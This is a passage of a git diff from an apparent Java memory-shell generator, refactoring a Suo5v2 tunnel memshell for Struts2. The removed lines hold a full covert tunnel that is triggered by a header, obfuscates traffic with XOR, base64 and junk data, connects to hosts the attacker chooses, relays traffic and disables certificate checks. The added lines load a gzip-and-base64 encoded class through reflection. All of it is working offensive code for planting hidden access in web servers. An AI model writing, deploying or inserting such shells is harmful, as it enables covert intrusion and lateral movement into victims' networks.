= (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - // xor key - byte[] key = new byte[2]; - key[0] = (byte) ((Math.random() * 255) + 1); - key[1] = (byte) ((Math.random() * 255) + 1); - - byte[] data = buf.toByteArray(); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key[i % 2]); - } - data = base64UrlEncode(data).getBytes(); - - ByteBuffer dbuf = ByteBuffer.allocate(6); - dbuf.put(key); - dbuf.putInt(data.length); - byte[] headerData = dbuf.array(); - for (int i = 2; i < 6; i++) { - headerData[i] = (byte) (headerData[i] ^ key[i % 2]); - } - headerData = base64UrlEncode(headerData).getBytes(); - dbuf = ByteBuffer.allocate(8 + data.length); - dbuf.put(headerData); - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshalBase64(InputStream in) throws Exception { - HashMap m = new HashMap(); - byte[] header = new byte[8]; // base64 header - readFull(in, header); - header = base64UrlDecode(new String(header)); - if (header == null || header.length == 0) { - return m; - } - byte[] xor = new byte[]{header[0], header[1]}; - for (int i = 2; i < 6; i++) { - header[i] = (byte) (header[i] ^ xor[i % 2]); - } - ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); - int len = bb.getInt(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - bs = base64UrlDecode(new String(bs)); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ xor[i % 2]); - } - - byte[] buf; - for (int i = 0; i < bs.length; ) { - int kLen = bs[i] & 0xFF; - i += 1; - if (i + kLen > bs.length) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 > bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private String randomString(int length) { - if (length <= 0) { - return ""; - } - Random random = new Random(); - char[] randomChars = new char[length]; - for (int i = 0; i < length; i++) { - int randomIndex = random.nextInt(CHARACTERS_LENGTH); - randomChars[i] = CHARACTERS.charAt(randomIndex); - } - return new String(randomChars); - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - public void run() { - // full stream - if (this.mode == 0) { - try { - pipeStream(gInStream, gOutStream, true); - } catch (Exception ignore) { - } - return; - } - - Object[] objs = (Object[]) getKey(this.gtunId); - if (objs == null || objs.length != 3) { - - return; - } - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue readQueue = (BlockingQueue) objs[1]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - boolean selfClean = false; - - try { - if (mode == 1) { - // read thread - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { - selfClean = true; - break; - } - } - } else { - // write thread - while (true) { - byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { - selfClean = true; - break; - } - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } catch (Exception e) { + return out.toByteArray(); } finally { - if (selfClean) { - - removeKey(this.gtunId); + if (gzipInputStream != null) { + gzipInputStream.close(); } - readQueue.clear(); - writeQueue.clear(); - try { - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } - + out.close(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java index c689ae93..621abb53 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java @@ -1,58 +1,26 @@ package com.reajason.javaweb.memshell.shelltool.suo5v2; -import javax.net.ssl.*; -import javax.servlet.ServletRequest; -import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import java.io.*; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; import java.lang.reflect.Method; -import java.net.*; -import java.nio.ByteBuffer; -import java.nio.channels.SocketChannel; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; -import java.util.Hashtable; -import java.util.Random; -import java.util.concurrent.BlockingQueue; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.TimeUnit; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.zip.GZIPInputStream; /** * @author ReaJason * @since 2025/12/9 */ -public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - private static HashMap addrs = collectAddr(); - private static Hashtable ctx = new Hashtable(); - - private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; - private final int CHARACTERS_LENGTH = CHARACTERS.length(); - private final int BUF_SIZE = 1024 * 16; - - private InputStream gInStream; - private OutputStream gOutStream; - private String gtunId; - private int mode = 0; +public class Suo5v2Struct2Action { + private static Class suo5V2Class; + private static String suo5V2GZipBase64; public Suo5v2Struct2Action() { } - public Suo5v2Struct2Action(InputStream in, OutputStream out, String tunId) { - this.gInStream = in; - this.gOutStream = out; - this.gtunId = tunId; - } - - public Suo5v2Struct2Action(String tunId, int mode) { - this.gtunId = tunId; - this.mode = mode; - } - public void execute() throws Exception { try { Class clazz = Class.forName("com.opensymphony.xwork2.ActionContext"); @@ -60,1017 +28,53 @@ public void execute() throws Exception { Method getMethod = clazz.getMethod("get", String.class); HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest"); HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse"); - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - new Suo5v2Struct2Action().process(request, response); + if (suo5V2Class == null) { + byte[] bytes = gzipDecompress(decodeBase64(suo5V2GZipBase64)); + suo5V2Class = reflectionDefineClass(bytes); } + suo5V2Class.newInstance().equals(new Object[]{request, response}); } catch (Throwable ignored) { } } - private void process(ServletRequest request, ServletResponse response) { - HttpServletRequest req = (HttpServletRequest) request; - HttpServletResponse resp = (HttpServletResponse) response; - String sid = null; - byte[] bodyPrefix = new byte[0]; + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; try { - InputStream reqInputStream = req.getInputStream(); - HashMap dataMap = unmarshalBase64(reqInputStream); - - byte[] modeData = (byte[]) dataMap.get("m"); - byte[] actionData = (byte[]) dataMap.get("ac"); - byte[] tunIdData = (byte[]) dataMap.get("id"); - byte[] sidData = (byte[]) dataMap.get("sid"); - if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { - return; - } - if (sidData != null && sidData.length > 0) { - sid = new String(sidData); - } - - String tunId = new String(tunIdData); - byte mode = modeData[0]; - switch (mode) { - case 0x00: - sid = randomString(16); - processHandshake(req, resp, dataMap, tunId, sid); - - break; - case 0x01: - setBypassHeader(resp); - processFullStream(req, resp, dataMap, tunId); - break; - case 0x02: - setBypassHeader(resp); - // don't break here, continue to process - case 0x03: - byte[] bodyContent = toByteArray(reqInputStream); - if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { - - break; - } - - if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { - // send to wrong node, client should retry - resp.setStatus(403); - - return; - } - - InputStream bodyStream = new ByteArrayInputStream(bodyContent); - int dirySize = getDirtySize(sid); - - if (mode == 0x02) { - // half mode - writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); - do { - processHalfStream(req, resp, dataMap, tunId, dirySize); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - writeAndFlush(resp, processTemplateEnd(sid), dirySize); - - } else { - // classic mode - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, new String(sidData))); - - do { - processClassic(req, baos, dataMap, tunId); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - - baos.write(processTemplateEnd(sid)); - resp.setContentLength(baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - - break; - default: - } + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); } catch (Throwable e) { - } finally { - try { - OutputStream out = resp.getOutputStream(); - out.flush(); - out.close(); - } catch (Throwable ignored) {} - } - } - - private void setBypassHeader(HttpServletResponse resp) { - resp.setBufferSize(BUF_SIZE); - resp.setHeader("X-Accel-Buffering", "no"); - } - - private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - resp.setHeader("Content-Type", tplParts[0]); - return tplParts[1].getBytes(); - } - - private byte[] processTemplateEnd(String sid) { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - return tplParts[2].getBytes(); - } - - private int getDirtySize(String sid) { - Object o = getKey(sid + "_jk"); - if (o == null) { - return 0; - } - return (Integer) o; - } - - private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - dataMap.remove("r"); - // load balance, send request with data to request url - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - HttpURLConnection conn = null; - try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(bodyPrefix); - baos.write(marshalBase64(dataMap)); - baos.write(bodyContent); - byte[] newBody = baos.toByteArray(); - conn = redirect(req, new String(redirectData), newBody); - pipeStream(conn.getInputStream(), resp.getOutputStream(), false); - } finally { - if (conn != null) { - conn.disconnect(); - } - } - return true; - } - return false; - } - - private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - resp.setStatus(403); - return; - } - - byte[] tplData = (byte[]) dataMap.get("tpl"); - byte[] contentTypeData = (byte[]) dataMap.get("ct"); - if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { - String tpl = new String(tplData); - String[] parts = tpl.split("#data#", 2); - putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); - } else { - putKey(sid, new String[0]); - } - - byte[] dirtySizeData = (byte[]) dataMap.get("jk"); - if (dirtySizeData != null && dirtySizeData.length > 0) { - int dirtySize = 0; - try { - dirtySize = Integer.parseInt(new String(dirtySizeData)); - } catch (NumberFormatException e) { - - } - if (dirtySize < 0) { - dirtySize = 0; - } - putKey(sid + "_jk", dirtySize); - } - - byte[] isAutoData = (byte[]) dataMap.get("a"); - boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; - if (isAuto) { - setBypassHeader(resp); - writeAndFlush(resp, processTemplateStart(resp, sid), 0); - - // write the body string to verify - writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); - - Thread.sleep(2000); - - // write again to identify streaming response - writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); - writeAndFlush(resp, processTemplateEnd(sid), 0); - } else { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, sid)); - baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); - baos.write(marshalBase64(newData(tunId, sid.getBytes()))); - baos.write(processTemplateEnd(sid)); - resp.setContentLength(baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - } - - private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { - InputStream reqInputStream = req.getInputStream(); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(req); - } - - Socket socket = null; - - try { - socket = new Socket(); - socket.setTcpNoDelay(true); - socket.setReceiveBufferSize(128 * 1024); - socket.setSendBufferSize(128 * 1024); - socket.connect(new InetSocketAddress(host, port), 5000); - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); - } catch (Exception e) { - if (socket != null) { - socket.close(); - } - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); - return; - } - - - Thread t = null; - boolean sendClose = true; - try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); - - Suo5v2Struct2Action p = new Suo5v2Struct2Action(scInStream, respOutputStream, tunId); - t = new Thread(p); - t.start(); - - while (true) { - HashMap newData = unmarshalBase64(reqInputStream); - if (newData.isEmpty()) { - break; - } - byte action = ((byte[]) newData.get("ac"))[0]; - switch (action) { - case 0x00: - case 0x02: - sendClose = false; - break; - case 0x01: - byte[] data = (byte[]) newData.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); - break; - default: - } - } - } catch (Exception ignored) { - } finally { - - try { - socket.close(); - } catch (Exception ignored) { - } - - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); - } - if (t != null) { - t.join(); - } - - } - } - - private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { - boolean newThread = false; - boolean sendClose = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - writeAndFlush(resp, createData, dirtySize); - - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - try { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); - } catch (Exception e) { -// - break; - } - } - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - break; - case 0x02: - - sendClose = false; - performDelete(tunId); - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); - } - } - } - - private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws - Exception { - boolean sendClose = true; - boolean newThread = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - respBodyStream.write(createData); - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - byte[] readData = performRead(tunId); - respBodyStream.write(readData); - break; - case 0x02: - sendClose = false; - performDelete(tunId); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - respBodyStream.write(marshalBase64(newDel(tunId))); - } - } - } - - private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { - if (data == null || data.length == 0) { - return; - } - OutputStream out = resp.getOutputStream(); - out.write(data); - if (dirtySize != 0) { - - out.write(marshalBase64(newDirtyChunk(dirtySize))); - } - out.flush(); - resp.flushBuffer(); - } - - private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(request); - } - - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - SocketChannel socketChannel = null; - HashMap resultData = null; - try { - socketChannel = SocketChannel.open(); - socketChannel.socket().setTcpNoDelay(true); - socketChannel.socket().setReceiveBufferSize(128 * 1024); - socketChannel.socket().setSendBufferSize(128 * 1024); - socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); - socketChannel.configureBlocking(true); - resultData = newStatus(tunId, (byte) 0x00); - BlockingQueue readQueue = new LinkedBlockingQueue(100); - BlockingQueue writeQueue = new LinkedBlockingQueue(); - putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); - if (newThread) { - new Thread(new Suo5v2Struct2Action(tunId, 1)).start(); - new Thread(new Suo5v2Struct2Action(tunId, 2)).start(); - } - } catch (Exception e) { - if (socketChannel != null) { - try { - socketChannel.close(); - } catch (Exception ignore) { - } - } - - resultData = newStatus(tunId, (byte) 0x01); - } - baos.write(marshalBase64(resultData)); - return baos.toByteArray(); - } - - private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - if (newThread) { - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - writeQueue.put(data); - } else { - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } - - private byte[] performRead(String tunId) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - BlockingQueue readQueue = (BlockingQueue) objs[1]; - int maxSize = 512 * 1024; // 1MB - int written = 0; - while (true) { - byte[] data = readQueue.poll(); - if (data != null) { - written += data.length; - baos.write(marshalBase64(newData(tunId, data))); - if (written >= maxSize) { - break; - } - } else { - break; // no more data - } - } - return baos.toByteArray(); - } - - private void performDelete(String tunId) { - Object[] objs = (Object[]) getKey(tunId); - if (objs != null) { - removeKey(tunId); - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - try { - // trigger write thread to exit; - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); } } - private int getServerPort(HttpServletRequest request) throws Exception { - int port; + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - return port; - } - - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { - try { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } finally { - // don't close outputStream - if (inputStream != null) { - try { - inputStream.close(); - } catch (Exception ignore) { - } - } - } - } - - private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { - buffer.clear(); - int bytesRead = socketChannel.read(buffer); - if (bytesRead <= 0) { // EOF or error - return new byte[0]; - } - - buffer.flip(); - byte[] data = new byte[buffer.remaining()]; - buffer.get(data); - return data; - } - - private static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { - } - return addrs; - } - - private boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equalsIgnoreCase("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(body.length)); - } else if (k.equalsIgnoreCase("Host")) { - conn.setRequestProperty(k, u.getHost()); - } else if (k.equalsIgnoreCase("Connection")) { - conn.setRequestProperty(k, "close"); - } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } - } - - OutputStream rout = conn.getOutputStream(); - rout.write(body); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; - } - - - private byte[] toByteArray(InputStream in) { - try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); byte[] buffer = new byte[4096]; - - int len; - while ((len = in.read(buffer)) != -1) { - baos.write(buffer, 0, len); + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); } - - return baos.toByteArray(); - } catch (IOException var5) { - return new byte[0]; - } - } - - private void readFull(InputStream is, byte[] b) throws IOException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) { - throw new IOException("stream EOF"); - } - bufferOffset += readResult; - } - } - - public HashMap newDirtyChunk(int size) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x11}); - if (size > 0) { - byte[] data = new byte[size]; - new Random().nextBytes(data); - m.put("d", data); - } - return m; - } - - private HashMap newData(String tunId, byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newDel(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newStatus(String tunId, byte b) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x03}); - m.put("s", new byte[]{b}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newHeartbeat(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x10}); - m.put("id", tunId.getBytes()); - return m; - } - - private byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - private int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - private void putKey(String k, Object v) { - ctx.put(k, v); - } - - private Object getKey(String k) { - return ctx.get(k); - } - - private void removeKey(String k) { - ctx.remove(k); - } - - private byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - private String base64UrlEncode(byte[] bs) throws Exception { - Class base64; - String value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", new Class[0]) - .invoke(base64, new Object[0]); - value = (String) Encoder.getClass() - .getMethod("encodeToString", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass() - .getMethod("encode", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - value = value.replaceAll("\\s+", ""); - } catch (Exception e2) { - } - } - if (value != null) { - value = value.replace('+', '-').replace('/', '_'); - while (value.endsWith("=")) { - value = value.substring(0, value.length() - 1); - } - } - return value; - } - - - private byte[] base64UrlDecode(String bs) throws Exception { - if (bs == null) { - return null; - } - bs = bs.replace('-', '+').replace('_', '/'); - while (bs.length() % 4 != 0) { - bs += "="; - } - - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e2) { - } - } - return value; - } - - private byte[] marshalBase64(HashMap m) throws Exception { - // add some junk data, 0~16 random size - Random random = new Random(); - int junkSize = random.nextInt(32); - if (junkSize > 0) { - byte[] junk = new byte[junkSize]; - random.nextBytes(junk); - m.put("_", junk); - } - - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - // xor key - byte[] key = new byte[2]; - key[0] = (byte) ((Math.random() * 255) + 1); - key[1] = (byte) ((Math.random() * 255) + 1); - - byte[] data = buf.toByteArray(); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key[i % 2]); - } - data = base64UrlEncode(data).getBytes(); - - ByteBuffer dbuf = ByteBuffer.allocate(6); - dbuf.put(key); - dbuf.putInt(data.length); - byte[] headerData = dbuf.array(); - for (int i = 2; i < 6; i++) { - headerData[i] = (byte) (headerData[i] ^ key[i % 2]); - } - headerData = base64UrlEncode(headerData).getBytes(); - dbuf = ByteBuffer.allocate(8 + data.length); - dbuf.put(headerData); - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshalBase64(InputStream in) throws Exception { - HashMap m = new HashMap(); - byte[] header = new byte[8]; // base64 header - readFull(in, header); - header = base64UrlDecode(new String(header)); - if (header == null || header.length == 0) { - return m; - } - byte[] xor = new byte[]{header[0], header[1]}; - for (int i = 2; i < 6; i++) { - header[i] = (byte) (header[i] ^ xor[i % 2]); - } - ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); - int len = bb.getInt(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - bs = base64UrlDecode(new String(bs)); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ xor[i % 2]); - } - - byte[] buf; - for (int i = 0; i < bs.length; ) { - int kLen = bs[i] & 0xFF; - i += 1; - if (i + kLen > bs.length) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 > bs.length) { - throw new 